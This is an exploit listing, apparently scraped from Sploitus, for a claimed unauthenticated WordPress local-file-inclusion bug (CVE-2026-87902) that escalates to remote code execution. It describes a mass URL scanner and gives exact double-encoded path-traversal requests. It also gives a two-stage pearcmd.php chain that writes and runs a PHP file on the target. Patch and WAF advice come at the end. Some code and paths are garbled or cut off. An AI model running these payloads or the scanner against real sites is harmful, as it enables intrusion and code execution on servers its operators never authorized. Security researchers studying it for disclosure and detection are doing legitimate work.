Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • September 23, 2026

# CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress `get_page_template()` unauthenticated LFI → conditional RCE

Reproduction lab + URL-list scanner + PoC, built and **validated end-to-end** against genuine

WordPress **7.1.1 (vulnerable)** and **7.1.2 (patched)** on the Docker lab.

- **Type:** CWE-98 improper control of filename for `include`/`require` (path traversal → local PHP inclusion)

- **Affected:** WordPress **4.7.0 – 7.1.1** (fixed in **7.1.2** and per-branch backports: 7.0.6, 6.9.9, 6.8.10 … down to 4.7.37)

- **Auth:** none. **CVSS 4.0:** 9.2 (`AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H`)

- **Preconditions:** (1) active theme has a top-level directory named `page-*` (e.g. `page-templates/` — present in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) for RCE only: a readable `pearcmd.php` and `register_argc_argv=On`.

## 1. Root cause (verified against 7.1.1 vs 7.1.2 source)

`wp-includes/template.php :: get_page_template()` builds a template candidate from the

attacker-controlled `pagename` query var **without `validate_file()`**:

$pagename_decoded = urldecode( $pagename );

if ( $pagename_decoded !== $pagename ) { // ` → `wp-links-opml.php` →

`readme.html` → `/wp-includes/` asset `?ver=`).

2. **Discover** a valid published page id (REST `/wp/v2/pages`, `?rest_route=` fallback, homepage

`page-id-N`, default `page_id=2`) — needed so the request resolves to a Page and `get_page_template()` runs.

3. **OPML oracle sweep:** for `segment × depth` (default segment `templates`, depths `4,3,5,6,7`), send

`page_id=&pagename=` (POST, to dodge canonical redirect) and

require an **HTTP 200** carrying `` + a *structural* secondary marker

4. **Negative control (causation proof):** on a hit, re-issue the identical request pointing at a

guaranteed-**non-existent** `.php`. If OPML still appears, the OPML is ambient (proxy / cache / feed

app), not our include → downgraded to `POSSIBLY`. Only a hit whose control is clean is `VULNERABLE`.

Robustness: preserves subdirectory paths (` handles gzip/deflate and odd charsets,

retries a probe once on transport error, discovers/validates page ids (REST → `?rest_route=` → homepage

→ defaults), enforces a per-target time budget, and never asserts `NOT_VULNERABLE` from a low-confidence

version source (asset `?ver=` / `readme.html`) — those degrade to `POSSIBLY`.

| `VULNERABLE` | OPML oracle fired — LFI confirmed (definitive) |

| `NOT_VULNERABLE` | patched branch version, or version outside 4.7.0–7.1.1 |

| `POSSIBLY_VULNERABLE` | vulnerable/unknown version but oracle silent (likely no `page-*` theme dir, non-standard layout, or no discoverable page id) — verify manually |

| `NOT_WORDPRESS` / `ERROR` | no WP indicators / transport failure |

Exit code: `2` if any VULNERABLE, `1` if any POSSIBLY (and no VULNERABLE), else `0`.

Useful flags: `--segments`, `--depths`, `--method {POST,GET,both}`, `--page-id`, `--max-pageids`,

`--max-time` (per-target budget), `--timeout`, `--threads`, `--proxy`, `--header`, `--insecure`

(TLS off — dev only), `--json`, `--jsonl`. For a WordPress-in-subdirectory install, pass the full base

(e.g. ` for Bedrock/core-in-`wp/` the sweep also tries `wp/`-prefixed oracle targets.

./cve-2026-87902-scan.py --verify-rce --i-have-authorization --page-id 2

Runs the PEAR `pearcmd.php` chain: the `+`-split query string carries `config-create` argv that writes

a quote-free marker `.php` under `/tmp`; a second request includes it. Prints the executed marker +

`php_uname()` + uid. **Writes a file on the target** → single-target, requires `--i-have-authorization`,

| `manual-validate.sh` / `ev-lfi.log` | OPML oracle fires on 7.1.1 (depth 4, POST **and** GET), silent on 7.1.2; only depth 4 works; single-encoding fails |

| `rce-validate.sh` / `ev-rce.log` | full PEAR RCE on 7.1.1 (uid=33 as `www-data`, depth 7); patched writes no file, executes nothing |

| `ev-scan-table.log` / `ev-scan-results.json` | scanner over {vuln, patched, non-WP, dead}: `VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR` |

POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml

-> 200 with in the body (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):

Stage 1 POST /?+config-create+/+/tmp/x.php

body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd

Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx

-> body contains the executed marker + php_uname() + uid=33

- **Update WordPress to 7.1.2** (or the fixed release for your branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).

- Defense-in-depth: set PHP `register_argc_argv=Off` for the web SAPI and remove/deny `pearcmd.php`;

this removes the RCE escalation even if the LFI is reachable.

- Detection/WAF: after fully URL-decoding parameter **keys and values** (and duplicate params), block any

`pagename` containing `..`; the co-occurrence of `page_id` + a `pagename` beginning `templates%252f` /

containing `%252e%252e` on the site root or `/index.php` is a near-certain exploit signal.

*Authorized security testing, education, and defensive research only.*

Extracted Entities

Attack Types (1)

Platforms (2)

Ransomware Groups (1)

Tools (1)